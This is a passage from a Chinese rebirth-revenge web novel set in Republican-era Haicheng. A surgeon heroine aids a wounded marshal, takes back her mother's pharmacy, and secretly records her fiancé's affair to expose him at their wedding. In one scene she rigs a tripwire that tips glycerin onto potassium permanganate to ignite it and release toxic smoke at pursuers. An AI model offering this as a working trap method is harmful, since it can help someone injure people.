沈晚清正在擦拭她的手术刀。她仔细地将上面的血迹一点点擦干净,然后放回皮箱。
“沈晚清。”
她没有隐瞒。对于陆淮锦这种级别的人来说,只要他想查,明天就能把她的祖宗十八代都查出来。
“沈晚清……”陆淮锦在舌尖反复咀嚼这三个字,眼神幽深,“海城沈家那个即将大婚的大小姐?”
沈晚清动作一顿,抬眸冷笑:“少帅的消息倒是很灵通。”
他挣扎着想要坐起来,却牵动了伤口,眉头微皱。
“别动。”沈晚清皱眉呵斥,“缝线要是崩开了,我可没多余的线给你补。”
陆淮锦竟然真的停下了动作。
他靠回草垛,目光却始终没有离开沈晚清。刚才手术时那种剧痛带来的恍惚感消退后,另一种感觉涌了上来。
那是一种类似于野兽发现同类的兴奋。
刚才手术时,她离他那么近。除了浓烈的血腥味和酒精味,他还闻到了她身上一股极淡的冷香。
那是药草的苦涩混合着某种花香的味道,并不甜腻,反而让人心神安宁。
这种味道,莫名地让他那个因为常年征战而时刻紧绷、甚至有些神经衰弱的大脑,感到了一丝久违的放松。
“这块玉佩,拿着。”
陆淮锦忽然伸手,从怀里摸出一块带着体温的翡翠扳指,直接扔到了沈晚清怀里。
那是帝王绿的翡翠,成色极佳,在火光下流淌着碧绿的光泽。
沈晚清接住扳指,入手温润。她知道这东西的价值,不仅是钱,更是权力的象征。
前世,这枚扳指是陆淮锦的信物,见扳指如见少帅。
“这是诊金?”沈晚清挑眉。
“定金。”陆淮锦闭上眼,声音渐渐低了下去,困意袭来,“剩下的,以后再算。”
“沈大夫,记住了。你的命,以后归我陆淮锦护着。”
说完这句话,这位在北方不可一世的少帅,竟然就这么毫无防备地在这个破庙里,在这个刚认识不到两个小时的女人身边,沉沉睡去了。
沈晚清握着那枚扳指,看着男人即便在睡梦中依然紧皱的眉头和紧握成拳的手。
护着?
沈晚清嘴角勾起一抹嘲讽的弧度。
男人的嘴,骗人的鬼。前世沈志远也说过要护她一世周全,结果呢?
她把扳指揣进兜里,又往火堆里添了一把柴。
她不会把希望寄托在任何男人身上。但这枚扳指,确实能帮她解决眼下的一个**烦。
明天就是沈家大婚的日子,也是沈志远和王氏给她准备的“葬礼”。
有了这枚扳指,这场戏,会变得更加精彩。
天边泛起了一丝鱼肚白。
海城的黎明,就要来了。
第4章 一枚染血的扳指
破庙外的雨终于停了。
黎明前的黑暗最为浓稠,空气中弥漫着潮湿的泥土味。
沈晚清是被一阵细微的脚步声惊醒的。她几乎是瞬间睁开了眼,常年的危机感让她的大脑在清醒的那一刻就进入了备战状态。
她迅速看向身侧。
草垛上空空如也,只留下一滩干涸的黑褐色血迹。
沈晚清心头一惊,走了?
“别动。”
低沉的嗓音从破庙的房梁上传来。
沈晚清抬头,只见陆淮锦正单手抓着横梁,整个人如同一只蛰伏的黑豹,隐匿在神像上方的阴影里。经过几个小时的休息,他的脸色虽然依旧苍白,但那双眼睛里的杀气已经恢复了几分。
他冲着庙门的方向扬了扬下巴。
沈晚清屏住呼吸,侧耳倾听。
“沙沙……沙沙……”
是军靴踩在湿软烂泥上的声音,很轻,很有纪律性。不像是黑帮流氓,更像是受过专业训练的**。
“是黑龙会的人。”陆淮锦从横梁上无声地跃下,落地时膝盖微屈,没有发出一点声响。虽然伤口经过缝合,但剧烈运动显然还是会带来痛楚,他的眉心微不可察地皱了一下。
“他们带了狼狗,闻着血味来的。”陆淮锦看了一眼沈晚清,语气平淡得像是在谈论天气,“你走吧。从后窗翻出去,那是顺风口,狗闻不到你的气味。”
沈晚清看着他。这个男人是在赶她走?
“那你呢?”
“我只有一颗**。”陆淮锦把玩着手里的勃朗宁,嘴角勾起一抹嗜血的冷笑,“够带走那个领头的。剩下的,听天由命。”
如果是前世的沈晚清,此刻早就吓得腿软逃跑了。
但现在的她,只是冷静地从皮箱的夹层里拿出了两瓶药粉。
“少帅,这世上**的方法,不只有**。”
沈晚清蹲下身,动作麻利地将一瓶紫黑色的粉末倒在破庙门口必经的一块干燥木板上。
“这是什么?”陆淮锦眯起眼。
“高锰酸钾,常用的消毒剂。”沈晚清头也不抬,又拿出另一小瓶粘稠的液体,“这是甘油,用来护肤的。”
陆淮锦皱眉:“你打算给他们消毒护肤?”
沈晚清没有解释。她将甘油瓶子的盖子拧松,却不完全打开,小心翼翼地用一根细线系住瓶颈,另一端系在门槛上方摇摇欲坠的破木条上。
只要有人推门,或者哪怕是风大一点吹动门板,那瓶甘油就会倾倒下来,滴在那堆高锰酸钾粉末上。
“这叫‘延迟引信’。”
沈晚清站起身,拍了拍手上的灰尘,眼中闪烁着理性的光芒,“高锰酸钾遇到甘油,会发生剧烈的氧化反应,产生高热和自燃。虽然炸不**,但产生的浓紫色烟雾足够遮蔽视线,而且……”
她顿了顿,嘴角勾起一抹坏笑,“这烟雾有毒,够他们呛一壶的。”
陆淮锦看着眼前这个女人。
她穿着一身不合身的旧衣裳,脸上还沾着泥点,但在这一刻,她那种运筹帷幄的自信,竟然比他在北平见过的所有名媛都要耀眼。
“沈晚清。”
他再次叫了她的名字,这一次,语气里少了几分轻佻,多了几分郑重。
“门外的**概还有两分钟到。”陆淮锦走到她面前,高大的身躯投下的阴影将她完全笼罩。
他忽然伸手,替她理了理鬓角凌乱的发丝。
粗糙的指腹擦过她细腻的脸颊,带起一阵战栗。
“记住我说的话。”他的目光落在她兜里的那枚扳指上,“这扳指是陆家的信物,见它如见我。若是沈家容不下你,拿着它去北平找‘陆公馆’。”
沈晚清后退半步,避开了他的触碰,神色淡漠:“少帅还是先保住命再说吧。若是你**,这扳指也不过是个值钱的死物。”
陆淮锦低笑一声,笑声胸腔共鸣,震得人耳膜发麻。
“放心,阎王爷不敢收我。”
话音未落,门外的狗叫声陡然变得狂躁起来。
“走!”
陆淮锦低喝一声,一把扣住沈晚清的腰,将她托举向后窗。
沈晚清没有矫情,借力翻上窗台。在跳下去的前一秒,她回头看了一眼。
那个男人背对着她,手持单枪,身姿挺拔如松,在这个破败的庙宇中,独自面对即将到来的黑暗狂潮。
“保重。”
沈晚清在心里默念了一句,纵身跃入黎明的微光中。
……
就在沈晚清落地的瞬间。
“砰!”
破庙的大门被人一脚踹开。
这一脚的震动,正好让悬挂在门梁上的甘油瓶晃动了一下,彻底倾倒。
粘稠的液体滴落在紫黑色的粉末上。
下一秒。
“滋——轰!!!”
一团刺目的紫色火焰猛然腾起,伴随着滚滚浓烟,瞬间吞噬了门口的视线。
“咳咳咳!八嘎!是毒气!”
“小心!有埋伏!”
惊慌失措的日语叫骂声和狼狗的惨叫声混成一片。
紧接着,是一声清脆的枪响。
“砰!”
那是陆淮锦那唯一的**。
沈晚清没有回头。她借着身后传来的混乱声响,猫着腰在杂草丛生的荒地里狂奔。
她必须在天大亮之前赶回沈公馆。
沈公馆,清晨六点。
雨后的海城,空气格外清新。
沈公馆的后门处,老李还在门房里呼呼大睡,鼾声如雷。
沈晚清像一只灵巧的猫,避开了早起倒夜香的仆人,悄无声息地溜回了自己的闺房。
刚关上房门,她整个人就虚脱般地滑坐在地上。
心脏还在剧烈跳动,仿佛要从嗓子眼里蹦出来。
她低头看了一眼自己。布鞋全是泥泞,裤脚也被划破了,指甲缝里还残留着泥土和血迹。
要是这副模样被人看见,那就是跳进黄河也洗不清了。
“大小姐?大小姐该起床了!”
门外传来了敲门声,是吴妈那特有的尖细嗓音,“今儿个姑爷要来看嫁妆单子,太太让您早点起,别丢了沈家的脸!”
沈晚清眼神一凛。
来了。
她迅速脱下脏污的外衣和鞋袜,一股脑塞进床底下的暗格里。那是她前世发现的一个藏东西的好地方。
然后,她飞快地换上一件素白的丝绸睡袍,拆开头发,狠狠揉了几下,让自己看起来像刚睡醒的样子。
至于那箱手术器械……
她环顾四周,目光锁定在衣柜顶层。她踩着凳子,将皮箱推到了最深处,用几床旧棉被严严实实地挡住。
做完这一切,她才深吸一口气,调整了一下呼吸,走到门边。
“来了……”
她的声音带着一丝刚睡醒的沙哑和恰到好处的怯懦。
打开门,吴妈正端着一盆洗脸水站在门口,眼神里透着探究和不满。
“大小姐怎么才开门啊?这都日上三竿了。”吴妈一边说着,一边不客气地挤进房间,那双三角眼滴溜溜地在房间里四处乱转。
她在找那个“打碎”的花瓶碎片,或者任何不对劲的地方。
昨晚虽然收拾了碎片,但谁知道这位大小姐有没有私藏什么。
“昨晚打雷,吓得没睡好……”沈晚清低着头,手指绞着衣角,一副受气包的模样。
吴妈冷哼一声,将铜盆重重地往架子上一磕,水花溅了出来。
“行了,别装娇气了。赶紧洗漱,太太和姑爷都在楼下等着呢。”
沈晚清顺从地点点头:“知道了,吴妈。”
吴妈见她这副软糯可欺的样子,心里的疑虑消了大半。谅这个草包大小姐也不敢翻出什么浪花来。
“快点啊!别让姑爷等急了!”
吴妈骂骂咧咧地走了。
沈晚清关上门,脸上的怯懦瞬间消失无踪。
她走到铜盆前,看着水中倒映出的自己。
虽然一夜未睡,脸色有些苍白,但那双眼睛却前所未有的明亮。
她伸手入怀,摸到了那枚冰凉的翡翠扳指,还有那本滚烫的存单。
这就是她的底气。
“沈志远,王氏,沈雨柔……”
沈晚清掬起一捧冷水泼在脸上,冰冷的触感让她更加清醒。
“好戏,开场了。”
楼下,沈家大厅。
此时的大厅里,气氛热络而虚伪。
沈家老爷沈光宗坐在主位上,手里盘着两颗核桃,一脸红光。
继母王氏穿着一身绛紫色的旗袍,脖子上挂着一串珍珠项链,正拉着一个年轻男人的手,笑得
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合不拢嘴。
那个男人穿着一身笔挺的西装,头发梳得油光锃亮,戴着金丝边眼镜,长得倒是一副斯文败类的模样。
正是沈晚清的前夫,沈志远。
而在沈志远旁边,坐着一个娇俏可人的少女,穿着粉色的洋装,烫着时髦的卷发。她正剥了一颗葡萄,亲手喂到沈志远嘴边,眼神里满是崇拜和爱慕。
那是继妹,沈雨柔。
“哎呀,志远啊,你这次留学回来,可是咱们海城的大才子了。”王氏夸张地说道,“以后咱们晚清跟着你,那可是享福咯。”
沈志远咽下葡萄,推了推眼镜,眼神里闪过一丝不屑,但嘴上却谦逊道:“岳母过奖了。晚清虽然……虽然是旧式女子,不懂什么新文化,但我会好好教导她的。”
“教导?我看是用她的嫁妆去教导别的女人吧。”
一道清冷的声音突然从楼梯口传来。
众人一愣,纷纷抬头望去。
只见沈晚清穿着一身素净的月白色旗袍,头发只用一根木簪挽起,未施粉黛,却显得格外清丽脱俗。
她一步步走下楼梯,脊背挺得笔直,目光如刀,直直地刺向那个道貌岸然的男人。
大厅里的空气仿佛瞬间凝固。
沈光宗皱起眉头:“晚清,怎么说话呢!没大没小!”
王氏也反应过来,尖着嗓子道:“就是!怎么跟志远说话呢!还没过门就开始摆架子了?”
沈晚清走到众人面前,并没有像往常那样低头认错。
她看了一眼那个依然坐在沈志远身边、还没来得及收回手的沈雨柔,嘴角勾起一抹玩味的笑。
“我只是说句实话罢了。”
沈晚清走到沈志远面前,目光落在他那身昂贵的西装上,“这身西装,是意大利用料,英国手工剪裁,至少要五十块大洋吧?志远,你还没工作,这钱……是从我给你的那笔‘置装费’里出的吧?”
沈志远的脸色一僵。
那是沈晚清外祖父留下的钱,被王氏以“给姑爷撑场面”的名义要了去。
“晚清!你怎么变得这么市侩!”沈志远恼羞成怒,站起身指责道,“谈钱多俗气!这叫投资!我只有穿得体面,才能结交上流社会的朋友,将来才能带你过好日子!”
“是吗?”
沈晚清冷笑一声,“那你身边这位‘好妹妹’身上的洋装,也是为了带我过好日子投资的?”
沈雨柔脸色一白,下意识地往沈志远身后缩了缩,眼眶瞬间红了:“姐姐……你误会了,这是志远哥哥看我没衣服穿,好心送我的……”
“没衣服穿?”沈晚清环视了一圈沈家奢华的大厅,“沈家二小姐要是没衣服穿,那海城的乞丐都要裸奔了。”
“够了!”
沈光宗猛地一拍桌子,震得茶杯乱响,“沈晚清!你今天吃错药了?在这里阴阳怪气什么!还不快给志远和雨柔道歉!”
“道歉?”
沈晚清转过身,直视着在这个家里拥有绝对权威的父亲。
前世,她怕他,敬他,渴望他的父爱。
但现在,看着这张满是算计和虚荣的脸,她只觉得恶心。
“父亲,要我道歉也可以。”
沈晚清缓缓从袖子里掏出一张皱巴巴的纸——那是她昨晚连夜写好的“嫁妆清单”草稿,上面列明了母亲当年带来的所有铺面、田产和古董。
“只要父亲和继母把这张单子上的东西,当着志远的面,一样一样点清楚,交到我手里。我就道歉。”
王氏看到那张单子,脸色瞬间大变。
那是沈家早就吞进肚子里、准备给沈雨柔当以后嫁妆的肥肉,怎么可能吐出来!
“这……这孩子说什么胡话呢!”王氏干笑着,试图去抢那张单子,“嫁妆不都准备好了吗?都在库房呢!”
沈晚清手一缩,躲过了王氏的手。
看着这一家子各怀鬼胎的丑态,沈晚清心里只觉得痛快。
但这还不够。
“那对粉彩九桃天球瓶不小心打碎了一支,不过,父亲,碎碎平安。但这嫁妆少了一样重宝,是不是该拿点别的来补?”
她一步步紧逼,气势逼人。
“如果不补……那我这婚,不结也罢。”
此言一出,满座皆惊。
第5章 极品继母的算盘
大厅内的空气仿佛凝固了。
“这婚,不结也罢。”
这轻飘飘的六个字,从沈晚清嘴里说出来,却像是一颗重磅**,炸得沈家众人头皮发麻。
“你说什么?!”
沈光宗气得胡子都在抖,抓起手边的茶盏就想砸过去。
“老爷!老爷息怒啊!”
王氏眼疾手快,一把拦住了沈光宗的手,那张保养得宜的脸上瞬间挤出一副痛心疾首的表情,眼泪说来就来,“晚清啊,你这是要逼死我和你爹啊!请帖都发出去了,海城有头有脸的人物都要来。这时候要是退婚,咱们沈家的脸往哪儿搁?志远的前程还要不要了?”
她一边哭,一边给旁边的沈志远使眼色。
沈志远虽然心里恨不得掐死沈晚清,但他是个“读书人”,最在乎面子。更重要的是,沈家的嫁妆还没到手,那笔留学的费用还要指望这门亲事。
他推了推金丝边眼镜,压下眼底的阴鸷,换上一副深情款款的模样走上前:
“晚清,我知道你在气头上。花瓶碎了我也心疼,但那毕竟是身外之物。咱们的情分难道还比不上一只花瓶吗?我对你的心,天地可鉴啊!”
说着,他还想伸手去拉沈晚清的手。
沈晚清不动声色地后退一步,避开了那一触即发的恶心感。
“情分?”
沈晚清看着这个满口仁义道德的男人,心中冷笑。前世她就是信了这所谓的“情分”,才落得尸骨无存的下场。
她抬起头,那双原本怯懦的眼睛里此刻蓄满了泪水,看起来楚楚可怜,语气却异常坚定:
“志远,我也想信你。可是……那是母亲留给我的念想啊。如今花瓶没了,我若就这样嫁过去,到了九泉之下,我有何面目去见母亲?我心里这道坎,过不去。”
她拿出手帕,轻轻拭去眼角的泪,声音带着一丝决绝,“除非……”
“除非什么?”王氏急切地问道。只要能把这个瘟神哄上花轿,什么条件都好说。等进了门,怎么搓磨还不是她说了算。
沈晚清垂下眼帘,掩去眼底的精光。
“母亲当年留下的嫁妆里,除了那对花瓶,还有城南的一间旧铺子,叫‘济世堂’。”
提到“济世堂”,王氏的眼皮跳了一下,但紧绷的身体明显放松了一些。
济世堂是沈晚清生母当年的陪嫁药铺。自从生母去世后,那铺子就一直由沈家旁支的一个远房亲戚打理。因为经营不善,再加上西医诊所的冲击,那铺子早就入不敷出,连年亏损,简直就是个赔钱货。王氏本来就打算过阵子把它盘出去抵债。
“那铺子虽然破败,但毕竟是母亲当年悬壶济世的地方。”沈晚清的声音低低的,带着几分怀旧的哀伤,“若是父亲和继母能把济世堂的房契和地契给我,让我留个念想,我也就……安心了。”
她抬起头,眼神“真挚”地看着王氏,“继母,您不是常说把我当亲生女儿疼吗?这就当是我唯一的请求了。”
王氏心里飞快地打着算盘。
只要沈晚清嫁过去,这铺子成了嫁妆,将来还不是在沈志远手里?到时候想怎么卖就怎么卖。
想到这里,王氏脸上的假笑瞬间真诚了几分。
“哎哟,我的傻孩子,我当是什么大事呢!”王氏走过来,亲**拉住沈晚清的手,“那铺子本来就是你娘留给你的,迟早都是你的。既然你想要,现在给你又何妨?”
她转头对吴妈喊道:“吴妈!去账房把济世堂的房契、地契,还有钥匙都拿来!”
沈光宗虽然觉得有点不妥,但在王氏的眼神暗示下,也默许了。反正一个破药铺,值不了几个钱。
“还是继母疼我。”沈晚清破涕为笑,那笑容单纯无害,像极了一只小白兔。
只有她自己知道,这只小白兔的肚子里,藏着怎样的野心。
济世堂虽然现在看着破败,但地理位置极佳,位于海城华界与租界的交界处,人流量巨大。
更重要的是,那是她计划中未来的起步之地。
她不仅要在这里行医救人,更要在这里建立属于自己的情报网和商业帝国。用这间“破铺子”,去撬动整个海城的格局。
很快,吴妈拿着一个布包走了下来。
王氏接过布包,当着沈志远的面,故作大方地塞进沈晚清手里。
“晚清啊,东西都在这儿了。咱们是一家人,不说两家话。这婚事……咱就这么定了吧?”
沈晚清打开布包,仔细检查了里面的红契和钥匙。确认无误后,她将东西贴身收好,脸上露出了一抹意味深长的笑容。
“多谢继母成全。既然如此,婚礼我一定准时出席。”
准时出席,给你们送终。
“好好好!”王氏大喜过望,“那我就让人继续准备了!雨柔,快,扶你姐姐回房休息,昨晚肯定没睡好。”
一直缩在后面的沈雨柔虽然嫉妒沈晚清拿到了铺子,但一想到只要姐姐嫁出去,沈家剩下的一切就都是她的了,也便换上了一副笑脸。
“姐姐,我送你。”
沈雨柔走上前,想挽住沈晚清的胳膊。
沈晚清身体微微一侧,不着痕迹地避开,淡淡道:“不用了,我自己走。妹妹还是多陪陪志远吧,毕竟……以后成了姐夫,见面的机会就‘多’了。”
她在“多”字上加重了语气,眼神扫过两人紧挨着的肩膀,带着一丝讽刺。
沈雨柔心虚地低下了头,沈志远的脸色也有些不自然。
沈晚清没再理会这一屋子的牛鬼蛇神,转身上楼。
她的背影清瘦挺拔,每一步都踩得稳稳当当。
回到房间,关上门。
沈晚清脸上的笑容瞬间消失。她靠在门背上,手里紧紧攥着那叠地契,指节微微泛白。
第一步,拿到了。
有了钱,有了地盘,有了技术,她终于在这乱世中有了一丝立足的根本。
但这还不够。
想要彻底摆脱沈家,想要报前世的仇,她还需要一把火。一把能将沈家和沈志远的名声烧得干干净净的火。
她的目光落在了角落里的那个西洋留声机上。
那是沈志远当年为了追求她,特意从洋行买来的礼物,说是能记录下美好的声音。
前世,这个留声机成了摆设。而这一世,它将成为最具杀伤力的武器。
沈晚清走过去,手指轻轻抚摸过黑胶唱片。
按照前世的轨迹,明天晚上,也就是大婚前夜,沈志远会以“送喜服”的名义来找她。而那个时候,耐不住寂寞的沈雨柔也会偷偷溜进来。
那一晚,他们在她的隔壁房间,上演了一出活春宫,并且肆无忌惮地嘲笑她的愚蠢。
前世她睡得死,毫不知情。
这一次……
沈晚清眼中闪过一丝厉色。
她从抽屉里翻出几根细铜丝和一些简单的工具。虽然没有现代的**器,但她可以用物理手段,让这台留声机的收音功能发挥到极致。
她要让全海城的人都听听,这对渣男贱女的“真爱宣言”。
……
入夜,沈家书房。
沈光宗和王氏正在密谈。
“那铺子真就这么给她了?”沈光宗还有些肉疼,“那地段虽然乱了点,但地皮还是值钱的。”
“老爷,您目光要放长远点。”王氏一边给沈光宗揉肩,一边冷笑,“那丫头懂什么经营?那铺子欠了一屁股债,药材商的货款还没结呢。给她正好,这烂摊子让她去背。等她嫁到沈志远家,那就是泼出去的水,债务跟咱们沈家可就没关系了。”
“还是夫人想得周到。”沈光宗满意地点点头,随即又皱眉道,“不过,那花瓶的事……”
“放心吧老爷。”王氏眼中闪过一丝狠毒,“那花瓶就是‘意外’……哼,等那丫头出了门,咱们就把另一个卖了。到时候有了钱,还怕给雨柔找不到更好的婆家?”
他们算盘打得噼里啪啦响,却不知道,他们口中的那个花瓶,才是彻头彻尾的赝品。
次日,清晨。
沈晚清起得很早。
她并没有待在家里,而是换了一身男装,带上帽子,从后门溜了出去。
她去了济世堂。
济世堂位于一条老街上,门口的牌匾已经斑驳脱漆,两边的对联也残破不堪。店里只有一个伙计趴在柜台上打瞌睡,药柜里的药材大多发霉受潮,散发着一股陈腐的味道。
“掌柜的呢?”沈晚清压低嗓音,敲了敲柜台。
伙计迷迷糊糊地抬起头,看到一个清秀的“小少爷”,懒洋洋道:“掌柜的去讨债了……不是,是去躲债了。买药自己抓,看病没有大夫。”
沈晚清看着这满目疮痍的店铺,非但没有失望,反而露出了一丝满意的神色。
破而后立。
这里越乱,沈家就越不会在意,她的行动也就越隐蔽。
她没有惊动伙计,而是绕到后院看了看。
后院很大,有三间正房,两间厢房,还有一口水井。虽然杂草丛生,但格局开阔,非常适合改造成手术室和病房。
更妙的是,后院有一扇隐蔽的小门,直通后面错综复杂的弄堂,离黑市也不远。
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“完美。”
沈晚清在心里给这个地方打了个满分。
她并没有急着接手,而是在周围转了一圈,观察了地形和逃生路线,才悄然离开。
回到沈公馆时,已经是下午。
刚进大门,就看到沈志远坐在沙发上喝茶,看到她回来,眼睛一亮。
“晚清,你去哪儿了?我等你半天了。”
沈志远站起来,手里提着一个精致的礼盒,“这是我特意给你订做的头面,明天大婚戴正合适。”
沈晚清看着他那副虚伪的嘴脸,心里一阵反胃,面上却淡淡道:“去庙里给母亲烧了柱香,告诉她我要出嫁了。”
提到“母亲”,沈志远的笑容僵了一下,随即掩饰道:“应该的,应该的。晚清真是一片孝心。”
他走近几步,压低声音,语气暧昧:“晚清,今晚……我能去你房里坐坐吗?有些关于婚礼的细节,我想单独跟你商量。”
来了。
沈晚清心中冷笑。
这就是前世的那个节点。所谓的“商量细节”,其实是为了给沈雨柔打掩护,好让他们在她眼皮子底下偷情。
“好啊。”
沈晚清抬起头,眼神清澈见底,“我也正好有些话,想对你说。”
沈志远大喜过望,以为沈晚清终于对他死心塌地了,连连点头:“那好,今晚八点,不见不散。”
看着沈志远离去的背影,沈晚清嘴角的笑意渐渐变得冰冷。
既然你自己送上门来找死,那就别怪我下手太狠。
她转身上楼,回到房间。
那台经过她改装的留声机,正静静地摆在房间最隐蔽的**架后,正对着隔壁那间空置客房的墙壁。
那面墙有一处暗格,是以前用来藏私房钱的,两边相通,隔音效果极差。
万事俱备,只欠东风。
当晚,八点整。
夜色笼罩了沈公馆。
沈志远如约而至,还特意喷了古龙水,打扮得人模狗样。
“晚清……”
他推开门,刚想深情呼唤,却发现房间里空无一人。
桌上留着一张字条:
“我去厨房给你煮醒酒汤,你在隔壁客房稍等片刻,我不想让吴妈看见。”
沈志远看着字条,心里一阵窃喜。这沈晚清还挺懂情趣,知道避人耳目。去客房更好,更方便……
他想都没想,转身推开了隔壁客房的门。
房间里没开灯,有些昏暗。
但他刚进去,就被一具温软的身体抱了个满怀。
“志远哥哥……我想死你了……”
这甜腻的声音,不是沈晚清,而是沈雨柔!
沈志远浑身燥热,反手抱住怀里的女人,急切地吻了下去:“小妖精,你怎么来了?不是让你在楼下等着吗?”
“人家等不及了嘛……我想在姐姐嫁给你之前,再好好疼疼你……”
两人干柴烈火,瞬间滚作一团。
他们根本没有注意到,在一墙之隔的这边。
沈晚清正静静地坐在黑暗中。
她并没有去煮什么醒酒汤。
她神情漠然地伸出手,按下了留声机的录音键。
黑胶唱片开始缓缓转动,细微的沙沙声被隔壁传来的不堪入耳的调情声所掩盖。
“志远哥哥,那个傻女人真的信了?”
“哼,那个蠢货,给个破铺子就高兴得跟什么似的。等把她娶进门,把她的财产弄到手,我就把她休了,娶你做正房太太……”
“真的吗?你真好……”
这一句句清晰的对话,连同那令人作呕的喘息声,都被忠实地记录在了唱片上。
沈晚清戴着改装的听筒,听着这些前世曾让她痛不欲生的背叛之语。
此刻,她只觉得可笑。
她的手指轻轻敲击着桌面,配合着唱片转动的节奏。
录吧,多录一点。
这就是明天婚礼上,送给你们最好的“贺礼”。
突然,耳机里传来了一句让她意想不到的话。
“对了志远,那个沈晚清她娘留下的花瓶,真的碎了吗?”
“确实碎了一只,不过另一只已经被我拿到黑市去估价了,那个洋人买办肯出两万大洋呢!”
沈志远得意的声音传来。
这边房间里,沈晚清敲击桌面的手指猛地一顿。
赝品被拿去估价了?
她眼底闪过一丝精光。
那只赝品做得极真,但有一个致命的破绽,只有行家能在特定光线下看出来。如果沈志远真的拿去黑市交易……
看来,不用她动手,这贪心不足蛇吞象的报应,来得比想象中还要快。
第6章 婚礼变祭礼
民国九年,五月十五日。宜嫁娶,忌出行。
这一天的海城,热闹非凡。
沈公馆张灯结彩,红绸挂满了门楣,连门口的两个石狮子都系上了大红花。沈家虽然在海城算不上顶级豪门,但因为沈志远顶着个“留洋才子”的光环,再加上沈家刻意散布的“巨额嫁妆”传闻,今天的婚宴倒是吸引了不少名流商贾。
连租界医院的亨利院长,都因为听说沈家有“珍稀古董”展示,而拿了一张请帖。
正午十二点,吉时已到。
宾客满座,沈光宗穿着一身崭新的酱紫色长袍马褂,满面红光地站在门口迎客。王氏则穿金戴银,像只花蝴蝶一样在贵妇圈里穿梭,享受着众人的恭维。
“哎呀,沈太太真是好福气啊,女儿嫁给留洋博士,这可是郎才女貌!”
“听说嫁妆里还有宋代的古董?咱们今天可要开开眼界!”
王氏笑得脸上的粉直掉:“那是自然,那是自然!待会儿就让大家看看!”
新郎官沈志远更是意气风发。他穿着那身用沈晚清钱买的高定西装,胸前别着红花,头发梳得一丝不苟。他时不时看向二楼的方向,眼中闪过一丝不耐烦。
那个蠢女人怎么还不下来?
只要拜了堂,那笔巨额财产就名正言顺地归他支配了。到时候,把她往后院一扔,这沈家还不是他和雨柔的天下?
想到昨晚和沈雨柔的缠绵,沈志远嘴角的笑意更深了。
“新娘子到——!”
司仪高亢的声音响起。
全场的喧闹声瞬间安静下来,所有人的目光都投向了那蜿蜒而下的红木楼梯。
乐队奏响了喜庆的《百鸟朝凤》。
然而,当那个身影出现在楼梯转角时,唢呐声就像是被掐住了脖子的鸭子,戛然而止。
死一般的寂静,笼罩了整个大厅。
只见缓缓走下来的沈晚清,并没有穿预定的大红龙凤褂,也没有披红盖头。
她穿着一身素白。
那是只有家里**人、办丧事时才会穿的麻布孝服!
她头发披散,未施粉黛,手里捧着一个黑色的相框,神情肃穆得像是在参加葬礼。
在这满堂的红绸喜字映衬下,她这一身白,显得格外刺眼,也格外惊悚。
“天哪!这是怎么回事?!”
“大喜的日子穿孝服?这是要咒谁死啊?”
宾客们瞬间炸开了锅,指指点点。
沈光宗脸上的笑容僵住了,紧接着变成了猪肝色。他几步冲到楼梯口,压低声音怒吼:
“沈晚清!你疯了吗?!你这是穿的什么鬼东西!还不快滚回去换了!”
王氏也吓了一跳,连忙上来打圆场,试图挡住众人的视线:“哎呀,大家别误会!这是……这是这孩子想念亡母,一时糊涂……”
她一边说,一边给旁边的几个粗使婆子使眼色,想强行把沈晚清架走。
“别碰我。”
沈晚清站在楼梯中央,居高临下地看着这一群跳梁小丑。她的声音不大,却透着一股彻骨的寒意,让那几个婆子下意识地缩回了手。
“父亲,继母,今日大婚,我穿这一身,是为了祭奠。”
沈晚清目光环视全场,最后落在脸色铁青的沈志远身上。
“祭奠我那死去的母亲,识人不清,错付终身。”
“也祭奠我这还未开始、就已经腐烂发臭的婚姻。”
“你闭嘴!!”沈志远气急败坏地冲上来,“沈晚清,你是不是因为前两天打碎了花瓶,怕我责怪你,所以在这里装疯卖傻?我告诉你,我不怪你!你赶紧下去换衣服,别让外人看笑话!”
他还在试图把责任推到“花瓶”和“沈晚清不懂事”上,想维持他宽宏大量的形象。
“花瓶?”
沈晚清冷笑一声,终于走下了最后一级台阶,站在了大厅中央。
“既然你提到了花瓶,那我们就从花瓶说起。”
她将手里的母亲遗照轻轻放在主桌上,动作轻柔得仿佛在擦拭珍宝。然后,她转过身,从袖子里掏出一张单子——正是那天那张嫁妆清单。
“诸位,”沈晚清扬起手中的纸,声音清亮,“我母亲当年带入沈家的嫁妆,价值十万大洋。其中包括一对宋代粉彩九桃天球瓶。前几日,我为了取回母亲遗物,‘不慎’打碎了其中一只。”
她特意在“不慎”二字上停顿了一下,目光如刀锋般扫过王氏。
“因为这件事,我愧疚难当,我的好继母和好未婚夫更是对我‘宽容大度’,不仅不责怪,还要在这婚礼上展示剩下的那一只,说是给我撑场面。”
说到这里,沈晚清嘴角的嘲讽愈发浓烈。
“可是,就在昨晚,我无意中听到了一段有趣的对话。才知道,原来你们所谓的‘宽容’,不过是另一场彻头彻尾的骗局。”
“来人,把东西抬上来!”
随着她一声令下,两个早就被她买通的苦力,抬着那台巨大的西洋留声机走进了大厅。
那大大的铜喇叭,正对着面色惨白的沈志远和沈雨柔。
“这是什么?”沈光宗心里升起一股极其不祥的预感。
“这是志远送我的定情信物啊。”沈晚清走过去,轻轻抚摸着唱针,“他说,这机器能记录下世间最美好的声音。既然如此,我就让大家听听,什么是‘最美好’的声音。”
“不要——!!”
沈雨柔似乎意识到了什么,尖叫着想要扑过去阻拦。
但已经晚了。
沈晚清的手指稳稳地按下了播放键。
“沙沙沙……”
经过短暂的电流声后,大厅里响起了那段令人面红耳赤、却又震惊全场的对话。
【“志远哥哥……我想死你了……”】
【“小妖精……不是让你在楼下等着吗?”】
那甜腻的**,那粗重的喘息,在扩音喇叭的放大下,清晰地钻进每一个宾客的耳朵里。
全场一片哗然!
那些原本还在看热闹的贵妇们纷纷捂住耳朵,露出鄙夷的神色。男人们则是露出了意味深长的笑容,眼神在沈志远和沈雨柔身上来回打转。
沈雨柔瘫软在地,面如死灰。那是她的声音,全海城的人都听出来了!
沈志远整个人都在发抖,金丝边眼镜滑落了一半,狼狈不堪。
但录音还在继续,更劲爆的内容来了。
【“哼,那个蠢货,给个破铺子就高兴得跟什么似的。等把她娶进门,把财产都弄到手,我就把她休了……”】
【“对了志远,那个沈晚清她娘留下的花瓶,真的碎了吗?”】
【“确实碎了一只,不过另一只已经被我拿到黑市去估价了,那个洋人买办肯出两万大洋呢!”】
轰——!
这段话一出,性质彻底变了。
沈光宗气得浑身发抖,指着沈志远:“你……你这个畜生!你说!那花瓶到底在哪?!”
他气的是沈志远竟然想独吞那两万大洋!
录音播放完毕。
沈晚清关掉留声机,大厅里静得可怕。
